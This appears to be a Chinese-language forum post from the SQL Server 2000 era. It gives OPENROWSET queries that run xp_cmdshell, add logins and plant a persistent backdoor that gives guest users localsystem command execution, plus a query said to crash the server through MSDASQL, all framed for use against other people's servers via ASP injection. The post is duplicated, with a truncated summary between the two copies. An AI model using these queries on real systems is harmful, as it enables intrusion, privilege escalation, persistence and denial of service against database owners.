下面我要談到一些Sqlserver新的Bug，雖然本人經過長時間的努力，當然也有點幸運的 成分在內，才得以發現，不敢一個人獨享，拿出來請大家鑒別。
1．關於Openrowset和Opendatasource
可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用 法是（包括MSDN的列子）如下：
select * from openrowset('sqloledb','myserver';'sa';'','select * from ta
ble')
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問，它必 須跟在select後面，也就是說需要返回一個recordset 。
那麼我們能不能利用它調用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell 返回的output集合就會提交給前面的select顯示，如果采用默認設置，會返回空集合導 致select出錯，命令也就無法執行了。
那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們 就不能再依靠fmtonly設置了，可以如下操作：
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
這樣，命令至少會返回select OK!'的集合，你的機器商會顯示OK!，同時對方的數 據庫內也會增加一個Hectic的賬號，也就是說，我們利用select 'OK!'的返回集合欺騙 了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasou rce也可以如此操作！至於這個方法真正的用處，大家慢慢想吧。
2．關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程數據庫，當然這個api必須是sqlserver的 管理員才可以調用，那麼如下：
select * from openrowset('msdasql','driver={SQL Server};server=server;ad dress=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s elect * from table1 select * from table2')
當table1和table2的字段數目不相同時，你會發現對方的sqlserver崩潰了，連本地 連接都會失敗，而系統資源占用一切正常，用pskill殺死 sqlserver進程後，如果不重 啟機器，sqlserver要麼無法正常啟動，要麼時常出現非法操作，我也只是碰巧找到這個 bug的，具體原因我還沒有摸透，而且很奇怪的是這個現象只出現在msdasql上，sqlole db就沒有這個問題，看來問題不是在於請求集合數目和返回集合數目不匹配上，應該還 是msdasql本身的問題，具體原因，大家一起慢慢研究吧。
3．可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過添加triger、jobs或改寫sp _addlogin和sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發現。不 知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用s qlserver的管理員賬號執行如下的命令：
select * from openrowset('sqloledb','trusted_connection=yes;data source= Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserve r不重啟，這個映射會一直存在下去，至少我現在還不知道如何發現別人放置的連接映射 ，好了，以上的命令運行過後，你會發現哪怕是sqlserver沒有任何權限的guest用戶， 運行以上這條命令也一樣能通過！而且權限是 localsystem！（默認安裝）呵呵！這個 方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個後門了。以上的方法 在 sqlserver2000 sqlserver2000SP1上通過！
另外還有一個猜測，不知道大家有沒有注意過Windows默認附帶的兩個dsn，一個是 localserver一個是msqi，這兩個在建立的時候是本地管理員賬號連接sqlserver的，如 果對方的 sqlserver是通過自定義的power user啟動，那麼sa的權限就和power user一 樣，很難有所大作為，但是我們通過如下的命令：
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的權 限執行本地命令了，這是後我想應該能突破sa那個power user權限了。現在的問題是sq loledb無法調用dsn連接，而msdasql非管理員不讓調用，所以我現在正在尋找guest調用 msdasql 的方法。
如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發放 如果能成功被guest利用，將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql 語句都可以提交給對方的ASP去幫我們執行。
下面我要談到一些Sqlserver新的Bug，雖然本人經過長時間的努力，當然也有點幸運的 成分在內，才得以發現，不敢一個人獨享，拿出來請大家鑒別。1．關於Openrowset和O pendatasource 可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通 常我們的用法是（包括MSDN的列子）如下...
下面我要談到一些Sqlserver新的Bug，雖然本人經過長時間的努力，當然也有點幸 運的成分在內，才得以發現，不敢一個人獨享，拿出來請大家鑒別。
1．關於Openrowset和Opendatasource
可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用 法是（包括MSDN的列子）如下：
select * from openrowset('sqloledb','myserver';'sa';'','select * from ta
ble')
可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問，它必 須跟在select後面，也就是說需要返回一個recordset 。
那麼我們能不能利用它調用xp_cmdshell呢？答案是肯定的！
select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
exec master.dbo.xp_cmdshel l ''dir c:\''')
必須加上set fmtonly off用來屏蔽默認的只返回列信息的設置，這樣xp_cmdshell 返回的output集合就會提交給前面的select顯示，如果采用默認設置，會返回空集合導 致select出錯，命令也就無法執行了。
那麼如果我們要調用sp_addlogin呢，他不會像xp_cmdshell返回任何集合的，我們 就不能再依靠fmtonly設置了，可以如下操作：
select * from openrowset('sqloledb','server';'sa';'','select ''OK!''
exec master.dbo.sp_addlogin Hectic')
這樣，命令至少會返回select OK!'的集合，你的機器商會顯示OK!，同時對方的數 據庫內也會增加一個Hectic的賬號，也就是說，我們利用select 'OK!'的返回集合欺騙 了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasou rce也可以如此操作！至於這個方法真正的用處，大家慢慢想吧。
2．關於Msdasql兩次請求的問題
不知道大家有沒有試過用msdasql連接遠程數據庫，當然這個api必須是sqlserver的 管理員才可以調用，那麼如下：
select * from openrowset('msdasql','driver={SQL Server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','select * from table1 select * from table2')
當table1和table2的字段數目不相同時，你會發現對方的sqlserver崩潰了，連本地 連接都會失敗，而系統資源占用一切正常，用pskill殺死 sqlserver進程後，如果不重 啟機器，sqlserver要麼無法正常啟動，要麼時常出現非法操作，我也只是碰巧找到這個 bug的，具體原因我還沒有摸透，而且很奇怪的是這個現象只出現在msdasql上，sqlole db就沒有這個問題，看來問題不是在於請求集合數目和返回集合數目不匹配上，應該還 是msdasql本身的問題，具體原因，大家一起慢慢研究吧。
3．可怕的後門
以前在網上看到有人說在 sqlserver上留後門可以通過添加triger、jobs或改寫sp _addlogin和sp_addsrvrolemember做到，這些方法當然可行，但是很容易會被發現。不 知道大家有沒有想過sqloledb的本地連接映射。呵呵，比如你在對方的sqlserver上用s qlserver的管理員賬號執行如下的命令：
select * from openrowset('sqloledb','trusted_connection=yes;data source= Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')
這樣在對方的 sqlserver上建立了一個名為Hectic的本地連接映射，只要sqlserve r不重啟，這個映射會一直存在下去，至少我現在還不知道如何發現別人放置的連接映射 ，好了，以上的命令運行過後，你會發現哪怕是sqlserver沒有任何權限的guest用戶， 運行以上這條命令也一樣能通過！而且權限是 localsystem！（默認安裝）呵呵！這個 方法可以用來在以被入侵過獲得管理員權限的sqlserver上留下一個後門了。以上的方法 在 sqlserver2000 sqlserver2000SP1上通過！
另外還有一個猜測，不知道大家有沒有注意過Windows默認附帶的兩個dsn，一個是 localserver一個是msqi，這兩個在建立的時候是本地管理員賬號連接sqlserver的，如 果對方的 sqlserver是通過自定義的power user啟動，那麼sa的權限就和power user一 樣，很難有所大作為，但是我們通過如下的命令：
select * from openrowset
('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off execmaster..xp_cmdshell ''dir c:\''')
應該可以利用localserver的管理員賬號連接本地sqlserver然後再以這個賬號的權 限執行本地命令了，這是後我想應該能突破sa那個power user權限了。現在的問題是sq loledb無法調用dsn連接，而msdasql非管理員不讓調用，所以我現在正在尋找guest調用 msdasql 的方法。
如果有人知道這個bug如何突破，或有新的想法，我們可以一起討論一下，這個發放 如果能成功被guest利用，將會是一個很嚴重的安全漏洞。因為我們前面提到的任何sql 語句都可以提交給對方的ASP去幫我們執行。
